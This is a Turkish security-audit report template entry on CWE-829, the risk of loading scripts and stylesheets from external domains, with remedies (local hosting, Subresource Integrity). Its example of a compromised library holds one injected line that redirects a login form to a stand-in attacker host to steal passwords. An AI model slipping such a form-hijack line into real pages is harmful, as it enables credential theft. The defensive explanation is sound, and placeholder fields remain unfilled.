1.1.1 Açık Bir Şekilde Alan Adı Kullanılması (Client Hardcoded Domain) (CWE-829)

Açıklık Önem Derecesi: Düşük

Açıklığın Etkisi: Web uygulama güvenliğini üçüncü taraf web sunucuların güvenliğine bağımlı kılma

Açıklığın Barındıran Dosyalar/Satırlar:

Proje Dosyası/Dosya Adı	Satır Numarası

Açıklığın Açıklaması:

Javascript / CSS dosyaları HTML içerisine gömülürken uzak alan adlarından (yani external domain'lerden) dinamik olarak çekilerek kullanılabilmektedir. Bu şekilde kullanımlarda javascript / css kodları için uzak bir web sunucuya güvenme uygulama güvenliğini azaltabilir. Çünkü uygulama kullanıcıları sadece bu javascript / css dosyalarını sunan uzak web sunucu kadar güvendedirler.

Web uygulamalara harici bir alan adından javascript / css dosyası eklemek web uygulamayı saldırılara karşı açık hale getirebilir. Çünkü eğer harici alan adındaki web sunucunun güvenliği ihlal olursa veya harici alan adındaki web sunucuyla olan iletişimde araya girilirse veya harici alan adındaki web sunucunun kendisi güvenilir değil ise bu durumda harici alan adındaki javascript / css dosyasının içeriği zararlı kodlar içerecek şekilde değiştirilebilir. Bu durumda da javascript dosyasını ekleyen uygulama XSS saldırılarına ve Open Redirect saldırılarına karşı açık hale gelebilir veya css dosyalarını ekleyen uygulama arayüzü tahrif (defacement) saldırılarına karşı açık hale gelebilir.

Bir uygulama javascript / css dosyalarını uzak bir web sunucudan aldığında "Açık Bir Şekilde Alan Adı Kullanılması" (CWE-829) açıklığı şeklinde işaretlenir. Harici alan adlarından javascript / css dosyası kullanmaya şu örnek verilebilir.

Açıklıklı X Web Sayfası:

```
<script src="https://example.com/scripts/jquery.js" />
<link rel="stylesheet" href="https://example.com/css/xyz.min.css">
```

Bu örnekte harici alan adlarından kütüphanelerin nasıl güvensizce projeye dahil edildiği gösterilmiştir. Bu güvensiz kullanımın nasıl bir tehlike doğurabileceğine şu örnek verilebilir:

Açıklıklı X Web Sayfası:

```
<div class="header">Hoşgeldiniz!
    <div id="loginBox">Lütfen Oturum Açın:
        <form id ="loginForm" name="loginForm" action="login.php"
method="post">
            Username: <input type="text" name="username" />
            <br/>
            Password: <input type="password" name="password" />
            <input type="submit" value="Login" />
        </form>
    </div>

    <div id="javascriptKutuphanesi">
        <script type="text/javascript"
src="example.com/javascriptKutuphanesi.js"></script>
    </div>
</div>
```

javascriptKutuphanesi.js Dosyası: // Harici Alan Adındaki JS

```
...Javascript Kutuphane Kodlari....

// Enjekte Edilen Zararlı Javascript Kod Satırı
document.getElementById('loginForm').action =
"ATTACKER.com/stealPassword.php";
```

Bu örnekte açıklıklı web uygulama harici alan adındaki bir web sunucudan javascript dosyası kullanmaktadır. Harici alan adındaki web sunucunun güvenliği ihlal edildiğinde saldırganın barındırdığı javascript dosyasına kalın şekilde vurgulanan satırı eklediği varsayılmaktadır. Açıklıklı web uygulama javascript kütüphanesini kullanırken artık bu zararlı kod satırı da gelmeye başlayacağından açıklıklı web uygulama sayfasında çalışır hale gelecektir. Bu durumda zararlı kod satırının eklendiği açıklıklı web uygulamanın login sayfasında login olmaya çalışan kullanıcılar <form'un action özelliği gelen zararlı kod satırı ile manipüle edildiğinden login olurken kullandıkları kullanıcı hesap bilgilerini açıklıklı web uygulama yerine saldırganın web sunucusuna POST ile göndereceklerdir. Bu şekilde saldırgan girilen kullanıcı hesaplarını log'layarak (kayıt altına alarak) kullanıcı hesaplarını ele geçirebilecektir

Kurum web uygulamasında uzak web sunucuların güvenliğine bağımlılık tespit edilmiştir. Bu durum Şekil XXX. ABCDEF'de gösterilmiştir.

::::::::BULGU::::::::::

Açıklığın Önlemi:

Bu açıklık iki türlü şekilde önlenebilir.

- Uzak web sunuculardan çekilen kütüphaneler yerele taşınarak
- Uzak web sunuculardan çekilen kütüphanelere SRI (Subresource Integrity) bütünlük kontrolü uygulayarak

Uzak web sunuculardan çekilen kütüphaneler yerele çekilerek kullanılabilir. Örn;

```
// GÜVENLİ
<script src="js/sample.js" />
<link rel="stylesheet" href="css/sample.css">
```

Bu kullanımda periyodik olarak yerelde barınan kütüphanelerin güncellemeleri takip edilmelidir ve uygulanmalıdır.

Bir diğer önlem yöntemi olarak uzak web sunuculardan çekilen kütüphanelere bütünlük kontrolü uygulanabilir. Örn;

```
// GÜVENLİ
<script integrity="sha384-JS_HASH_VALUE" crossorigin="anonymous"
src="https://sample.com/sample.js" />

<link integrity="sha384-CSS_HASH_VALUE" crossorigin="anonymous"
rel="stylesheet" href="https://sample.com/sample.css">
```

Böylece harici alan adındaki kütüphaneler güvenle kullanılabilir.

Referanslar:

1. https://vulncat.fortify.com/en/detail?id=desc.content.html.hardcoded_domain
2. https://cwe.mitre.org/data/definitions/829.html
3. https://stackoverflow.com/questions/50632726/best-option-to-store-hardcoded-domain-names-in-web-application
4.